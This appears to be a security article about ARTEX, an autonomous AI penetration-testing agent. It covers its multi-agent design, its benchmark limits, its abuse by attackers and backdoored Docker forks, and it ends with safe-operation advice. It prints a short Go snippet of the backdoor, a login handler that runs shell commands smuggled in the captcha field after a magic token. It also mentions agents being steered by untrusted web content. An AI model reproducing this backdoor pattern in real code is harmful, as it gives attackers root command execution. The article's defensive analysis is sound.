A developer types a target URL into a prompt, hits enter, and expects an artificial intelligence agent to map out vulnerabilities on its own.

That is the pitch behind ARTEX, an open-source tool published by developer Autumn-27 in July 2026 Kodem Security. It pairs Go, a local Next.js dashboard, and a PostgreSQL database to coordinate penetration testing across targets.

Headlines claim you can point it at any web application to uncover deep bugs automatically. In practice, the engine works quite differently, and running it carelessly can compromise your own network.

How the agent loop works

ARTEX does not run on a single prompt. It splits offensive work across distinct roles: a planner agent, worker agents, and re-testers ARTEX repository.

When you provide a target URL, the planner breaks your goal into technical intents. Worker agents pick up these intents and run native tools like curl, nmap, and headless browser scripts through an intercepting local proxy.

Every HTTP request, tool command, and server response passes through this proxy on port 8788. ARTEX logs these interactions into an asset graph that tracks endpoints and an exploration graph that tracks every hypothesis tested Hermes AI.

Giving an autonomous agent direct access to shells and network traffic introduces classic deputy problems. In our Agent and Tool Abuse guide, we look at how agents get confused when untrusted web content begins steering internal tool arguments.

Why autonomous scans stall

Why does ARTEX struggle when pointed at complex web applications? The limitation comes from how it tries to prevent hallucinations.

To stop this, ARTEX runs an adversarial check inside agent/promptcatalog.go. Before a worker records a finding, it must try to disprove its own hypothesis along five axes Simbian AI:

  1. Reachability: Proving an external network path actually reaches the endpoint.
  2. Preconditions: Confirming required tokens or cookies are real, not imagined.
  3. Downstream controls: Checking whether a web application firewall strips the payload.
  4. Scope boundaries: Verifying the request stays within authorized hostnames.
  5. Simpler explanation: Rejecting the finding if standard server errors explain the response.

In benchmark tests by Simbian AI, giving ARTEX a vague goal caused it to stall after just two findings and 312 HTTP requests Simbian AI. The agent got stuck trying to disprove minor server quirks and could not pivot.

When human testers gave the agent a structured, phased plan, that same setup surfaced 17 valid findings Simbian AI. ARTEX does not replace human testing intuition. It automates speed and repetitive execution.

The supply-chain trap

That execution speed also caught the attention of threat groups. Intruders adopted the project to scan infrastructure and chain exploits across networks in late 2026.

Following widespread abuse, the original author took down the GitHub repository on 8 October 2026 and pulled the official container images Kodem Security. The community quickly split into dozens of unverified forks.

That split created a major supply-chain danger. In November 2026, security researcher Badbyte discovered that popular prebuilt Docker Hub images like tomicdd/artex contained an unauthenticated remote code execution backdoor in their authentication code Prophet Security.

The tampered code intercepted login requests in the container:

// Illustrative snippet: backdoor logic in trojanized container builds func HandleLogin(w http.ResponseWriter, r *http.Request) { var req LoginRequest json.NewDecoder(r.Body).Decode(&req) // Backdoor: magic token triggers arbitrary shell execution as container root if strings.HasPrefix(req.Captcha, BACKDOOR_MAGIC_TOKEN) { cmdStr := strings.TrimPrefix(req.Captcha, BACKDOOR_MAGIC_TOKEN) out, _ := exec.Command("sh", "-c", cmdStr).CombinedOutput() w.Write(out) return } // Standard authentication logic continues below... } 

Security teams who pulled convenient Docker images to test external targets gave attackers root shells on their own systems before Docker removed the images.

Around the same time, the FBI issued alert FLASH-20261113-001 after observing more than 1,600 ARTEX instances exposed on the public internet on port 8787 FBI IC3 Alert, leaking credentials and scan history.

Safe operational checks

If you want to test autonomous security tools on authorized systems, treat the testing engine itself as an untrusted workload:

  • Build from audited source: Avoid convenience container images from unknown registries. Clone maintained repositories and build images locally from inspected source code.
  • Bind to loopback: Ensure the management console listens only on 127.0.0.1:8787 rather than 0.0.0.0.
  • Block dangerous commands: Verify that internal execution filters reject destructive actions like disk formatting regardless of what the model suggests.
  • Constrain network egress: Restrict the container network so worker agents cannot follow redirects into unauthorized third-party services during automated crawling.

Autonomous agents can speed up repetitive tasks, but they do not understand application business logic without human guidance.